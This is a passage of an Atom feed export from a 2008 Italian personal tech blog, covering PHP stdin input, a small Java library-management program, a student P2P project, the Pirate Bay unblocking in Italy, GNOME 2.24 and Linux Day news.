/&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://fenomeno.it/wp-content/uploads/2008/03/php-logo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 158px;" src="http://fenomeno.it/wp-content/uploads/2008/03/php-logo.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Mi sa che già altri hanno trovato questa soluzione quindi se su internet trovate un articolo simile non mi spammate i commenti di: "Brutto copiaincoller che non sei altro!!!"&lt;br /&gt;&lt;br /&gt;Su Gnu/Linux esiste un file che si chiama STDIN che prende l'input da linea di comando. Già in C quando ci si metteva in lettura su questo file il programma si interrompeva e aspettava che l'utente inserisse una linea chiudendo con un invio ("\n").&lt;br /&gt;&lt;br /&gt;Perchè non riprodurre questa procedura anche su PHP?&lt;br /&gt;&lt;br /&gt;Il php non ha la define STDIN ma mette a disposizione il seguente path: "php://stdin". Una gran comodità.&lt;br /&gt;Quindi apriamo il nostro editor di fiducia e inseriamo il seguente script nei tag appropriati:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;   $f = fopen("php://stdin","R");&lt;br /&gt;   echo 'Inserire qui la stringa &gt;&gt;&gt; ';&lt;br /&gt;   $string = fread($f,255);&lt;br /&gt;  &lt;br /&gt;   echo 'Stringa passata: '.$string."\n";&lt;/blockquote&gt;&lt;br /&gt;Avendo questo risultato:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SPxpcGyUCXI/AAAAAAAAASk/SNHVA3dmaDQ/s1600-h/Schermata.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SPxpcGyUCXI/AAAAAAAAASk/SNHVA3dmaDQ/s320/Schermata.png" alt="" id="BLOGGER_PHOTO_ID_5259194396440791410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La funzione fread bloccherà lo script fino a chè l'utente non digiterà invio, dopo di che verranno presi, in questo caso, i primi 255 caratteri (byte) della stringa. Ovviamente il numero di caratteri da prendere sono a discrezione di chi scrive lo script, ma evitiamo di prendere input troppo lunghi quando non occorre.&lt;br /&gt;&lt;br /&gt;Fatto questo aprite la shell e digitate:&lt;br /&gt;&lt;br /&gt;$php mio_script_di_prova.php&lt;br /&gt;&lt;br /&gt;e ammirate come aspetta diligentemente che voi inseriate una stringa. &lt;br /&gt;La tipizzazione debole del php vi consente inoltre di poter trasformare con semplicità l'input in intero o float da poter elaborare successivamente.&lt;br /&gt;&lt;br /&gt;Spero di essere stato d'aiuto a chi come me cercava di prendere input banalmente da tastiera su shell.&lt;br /&gt;&lt;br /&gt;Alla prossima ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4572355608375007125?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4572355608375007125/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4572355608375007125' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4572355608375007125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4572355608375007125'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/php-e-linput-utente.html' title='PHP e l&apos;input utente'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sXS0ScZT1Nw/SPxpcGyUCXI/AAAAAAAAASk/SNHVA3dmaDQ/s72-c/Schermata.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8662348676789228405</id><published>2008-10-17T13:40:00.002+02:00</published><updated>2008-10-17T13:46:32.261+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='BiblioTeCa'/><title type='text'>BiblioTeCa - Aggiornamento 0.2 beta</title><content type='html'>Dopo le prime settimane di utilizzo ecco un primo aggiornamento a BiblioTeCa.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img247.imageshack.us/img247/7607/headerak0.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 100px;" src="http://img247.imageshack.us/img247/7607/headerak0.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;E' aumentata un po' la lunghezza delle stringe di nome, titolo ecc.&lt;br /&gt;Una seconda e più sostanziosa modifica è stata effettuata alla procedura di ricerca che ora individua anche singole parole all'interno dei vari campi.&lt;br /&gt;&lt;br /&gt;Come al solito è possibile scaricare il codice sorgente in un comodo progetto netbeans da SVN oppure l'archivio zip per l'installazione.&lt;br /&gt;&lt;br /&gt;Indirizzo: &lt;a href="http://mybiblioteca.googlecode.com"&gt;http://mybiblioteca.googlecode.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8662348676789228405?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8662348676789228405/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8662348676789228405' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8662348676789228405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8662348676789228405'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/biblioteca-aggiornamento-02-beta.html' title='BiblioTeCa - Aggiornamento 0.2 beta'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7746407255722359905</id><published>2008-10-05T21:51:00.003+02:00</published><updated>2008-10-05T22:03:23.072+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='BiblioTeCa'/><title type='text'>BiblioTeCa - Versione 0.1 beta is out!</title><content type='html'>Grazie a un'idea della mia ragazza che necessitava di un programma personalizzato per la gestione della biblioteca ecco a voi:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img247.imageshack.us/img247/7607/headerak0.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 100px;" src="http://img247.imageshack.us/img247/7607/headerak0.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cominciamo subito con l'indirizzo al quale è possibile scaricare l'archivio .tar.gz contenente il programma: &lt;a href="http://mybiblioteca.googlecode.com"&gt;http://mybiblioteca.googlecode.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;BiblioTeCa si divide in due parti:&lt;br /&gt;  * La prima parte contiene un form per poter aggiungere libri al database.&lt;br /&gt;  * La seconda parte permette una gestione a 360° del database salvato. Consente di ricercare libri all'interno del database. Una volta trovato il libro che si desidera è possibile consultare tutte le informazioni salvate relative al libro o modificare i campi per poi salvarle. Se invece un libro "cessa di esistere", per svariati motivi, è possibile eliminarlo definitivamente dal database.&lt;br /&gt;&lt;br /&gt;Molto presto aggiungerò nuove informazioni e anche alcuni post che fungeranno da guida al software.&lt;br /&gt;&lt;br /&gt;Alla prossima ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7746407255722359905?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7746407255722359905/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7746407255722359905' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7746407255722359905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7746407255722359905'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/biblioteca-versione-01-beta-is-out.html' title='BiblioTeCa - Versione 0.1 beta is out!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4179708129167671117</id><published>2008-10-01T11:04:00.003+02:00</published><updated>2008-10-01T11:09:08.649+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Ottobre - "Genius" at work</title><content type='html'>E' ottobre. Già sento il profumo delle castagne. La vicinanza del Linux Day. Il tepore dei caloriferi accesi.&lt;br /&gt;&lt;br /&gt;Ma soprattutto e' tempo di blog. Con ottobre si riapre la stagione più densa di eventi e di spunti per scrivere sul mio blog.&lt;br /&gt;&lt;br /&gt;Comincio quindi con una notizia che mi riguarda. Anzi, che riguarda me e il mio compagno di progetti Digra!!!&lt;br /&gt;&lt;br /&gt;Ecco a voi gli appunti ufficiali per la parte supernodo del nostro nuovo gioiellino: Mini-Kazaa.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SOM91kTGtDI/AAAAAAAAARw/KmBRDrO_sCU/s1600-h/100_0082.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SOM91kTGtDI/AAAAAAAAARw/KmBRDrO_sCU/s400/100_0082.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5252109580930298930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Diciamo che siamo giunti a circa metà di quello schema. Contanto che ce ne sarà da fare uno pressochè identico per i nodi ordinari ci aspetta un bel po' di lavoro.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4179708129167671117?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4179708129167671117/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4179708129167671117' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4179708129167671117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4179708129167671117'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/ottobre-genius-at-work.html' title='Ottobre - &quot;Genius&quot; at work'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/SOM91kTGtDI/AAAAAAAAARw/KmBRDrO_sCU/s72-c/100_0082.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4076407480627298404</id><published>2008-09-25T21:45:00.003+02:00</published><updated>2008-09-25T21:53:55.870+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IMPORTANTISSIMO'/><category scheme='http://www.blogger.com/atom/ns#' term='Libertà di parola'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><title type='text'>La baia torna ONLINE!!!</title><content type='html'>&lt;blockquote&gt;BERGAMO – Il tribunale del riesame ha annullato il provvedimento con cui due mesi fa la procura di Bergamo aveva oscurato dall’Italia il sito “The pirate bay”, uno dei più popolari per lo scambio gratuito di file musicali, di film e videogiochi.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.tu.no/multimedia/archive/00026/PirateBay_1_NETT_26916d.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://www.tu.no/multimedia/archive/00026/PirateBay_1_NETT_26916d.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;E' una notizia fresca fresca dal sito del Corriere della sera, leggibile a &lt;a href="http://www.corriere.it/scienze_e_tecnologie/08_settembre_25/pirate_bay_server_dissequestro_cf3d3392-8b31-11dd-b62d-00144f02aabc.shtml"&gt;questa pagina&lt;/a&gt;. Ma la notizia va avanti perchè lo scandalo sembra non aver fine:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;“Faremo immediato ricorso in Cassazione per riottenere il sequestro, a nostro giudizio la violazione del diritto d’autore c’è tutta”, è la replica di Giancarlo Mancusi, il pm di Bergamo che lo scorso agosto aveva ricevuto una denuncia da parte delle Federazione italiana contro la pirateria musicale.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Ovviamente si dimenticano di cosa sono i file ".torrent" che non hanno nessuna copertura da parte del diritto d'autore. E proprio su questo punto verte la difesa.&lt;br /&gt;&lt;br /&gt;Vorrei ricordare che comunque sulla baia vengono indicizzati anche torrent che fanno riferimento a file completamente legali poichè il meccanismo dei torrent fa si che i file si riescano a scaricare a una velocità media molto elevata quindi è molto usata per download completamente legali.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4076407480627298404?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4076407480627298404/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4076407480627298404' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4076407480627298404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4076407480627298404'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/la-baia-torna-online.html' title='La baia torna ONLINE!!!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-9092073614910287544</id><published>2008-09-25T20:58:00.004+02:00</published><updated>2008-09-25T21:03:41.808+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnome'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Un nuovo vestito.</title><content type='html'>Oggi è stato svelato il nuovo Gnome, 2.24, di cui abbiamo subito una diapositiva (cit. Ezio Greggio).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://library.gnome.org/misc/release-notes/2.24/figures/gnome.png.it"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://library.gnome.org/misc/release-notes/2.24/figures/gnome.png.it" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le &lt;a href="http://library.gnome.org/misc/release-notes/2.24/"&gt;note di rilascio&lt;/a&gt; sono assolutamente succose e già mi immagino il nuovo Gnome con il mio bel vestitino di Chrome che effetto potrà avere sul mio desktop.&lt;br /&gt;&lt;br /&gt;Ringrazio il cielo per essermi fatto crescere il pizzetto affinchè ora possa leccarmi i baffi col dovuto anticipo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-9092073614910287544?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/9092073614910287544/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=9092073614910287544' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/9092073614910287544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/9092073614910287544'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/un-nuovo-vestito.html' title='Un nuovo vestito.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3640399186990693999</id><published>2008-09-20T18:47:00.004+02:00</published><updated>2008-09-20T19:00:50.925+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Il desktop diventa Chrome</title><content type='html'>Ecco come vedo il blog sulla mia Ubuntu 8.04:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SNUqTiMeXwI/AAAAAAAAARo/GNAzG5_3ZLE/s1600-h/Schermata-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SNUqTiMeXwI/AAAAAAAAARo/GNAzG5_3ZLE/s400/Schermata-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5248147455855189762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Per un amante di Google come il sottoscritto non esiste cosa migliore che avere tutto il desktop che suona le stesse note di chrome.&lt;br /&gt;&lt;br /&gt;Per questo sul sito &lt;a href="http://www.gnome-look.org"&gt;www.gnome-look.org&lt;/a&gt;, esattamente a &lt;a href="http://www.gnome-look.org/content/show.php/chrome-like?content=88988"&gt;questo&lt;/a&gt; indirizzo, &lt;br /&gt;è possibile scaricare il tema di Chrome.&lt;br /&gt;&lt;br /&gt;All'interno della stessa pagina è poi reperibile l'indirizzo per applicare a firefox i tema che vedete nel mio screenshot.&lt;br /&gt;&lt;br /&gt;Poi ho finito la mia modifica al tema unendo chrome-like con le icone di clearlook-OSX reperibili a &lt;a href="http://www.gnome-look.org/content/show.php/ClearlooksOSX?content=69487"&gt;questo&lt;/a&gt; indirizzo.&lt;br /&gt;&lt;br /&gt;Buon divertimento e postate commenti!!!&lt;br /&gt;&lt;br /&gt;PS: so che a molti non piacerà ma per un googleinomane è il top.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3640399186990693999?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3640399186990693999/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3640399186990693999' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3640399186990693999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3640399186990693999'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/il-desktop-diventa-chrome.html' title='Il desktop diventa Chrome'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/SNUqTiMeXwI/AAAAAAAAARo/GNAzG5_3ZLE/s72-c/Schermata-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6222747075905375236</id><published>2008-09-17T23:47:00.003+02:00</published><updated>2009-04-18T12:17:16.098+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='App Engine'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Google App Engine Update</title><content type='html'>Ecco che il team di Google torna a farsi sentire con un nuovo aggiornamento del loro motore per pagine web altamente dinamiche.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.etondigital.com/wp-content/uploads/2008/05/google-app-engine.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 207px; height: 203px;" src="http://www.etondigital.com/wp-content/uploads/2008/05/google-app-engine.jpeg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A &lt;a href="http://code.google.com/p/googleappengine/wiki/SdkReleaseNotes"&gt;questa pagina&lt;/a&gt; è possibile consultare le note di rilascio di questa nuova versione. Risalta il supporto zipimport finalmente funzionante.&lt;br /&gt;&lt;br /&gt;Buona scoperta a tutti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6222747075905375236?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6222747075905375236/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6222747075905375236' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6222747075905375236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6222747075905375236'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/google-app-engine-update.html' title='Google App Engine Update'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-438552672290450854</id><published>2008-09-15T21:02:00.002+02:00</published><updated>2008-09-15T21:12:12.668+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>What do you want to be?</title><content type='html'>Siamo partiti. Io e il mitico Digra ci siamo messi all'opera sul "futuro" del filesharing. Il progetto di Laboratorio di Reti.&lt;br /&gt;&lt;br /&gt;Ecco il primo screen del programma dove bisogna decidere che ruolo interpretare all'interno di questo nuovo sistema p2p.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SM6zXXmzqWI/AAAAAAAAARI/P0Iv9qOlulg/s1600-h/Schermata.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SM6zXXmzqWI/AAAAAAAAARI/P0Iv9qOlulg/s400/Schermata.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5246327829988354402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Non ci resta che cominciare a ballare!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-438552672290450854?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/438552672290450854/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=438552672290450854' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/438552672290450854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/438552672290450854'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/09/what-do-you-want-to-be.html' title='What do you want to be?'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_sXS0ScZT1Nw/SM6zXXmzqWI/AAAAAAAAARI/P0Iv9qOlulg/s72-c/Schermata.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6671425038196496703</id><published>2008-09-12T17:27:00.004+02:00</published><updated>2008-09-12T17:47:59.577+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LuccaLUG'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux Day'/><title type='text'>Linux Day 2008 - Ulteriori informazioni</title><content type='html'>Ci avviciniamo a grandi passi al 25 ottobre, giorno in cui in tutt'italia si celebra il Linux Day.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.luccalug.it/images/7/75/Linuxday_fullcolor.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: 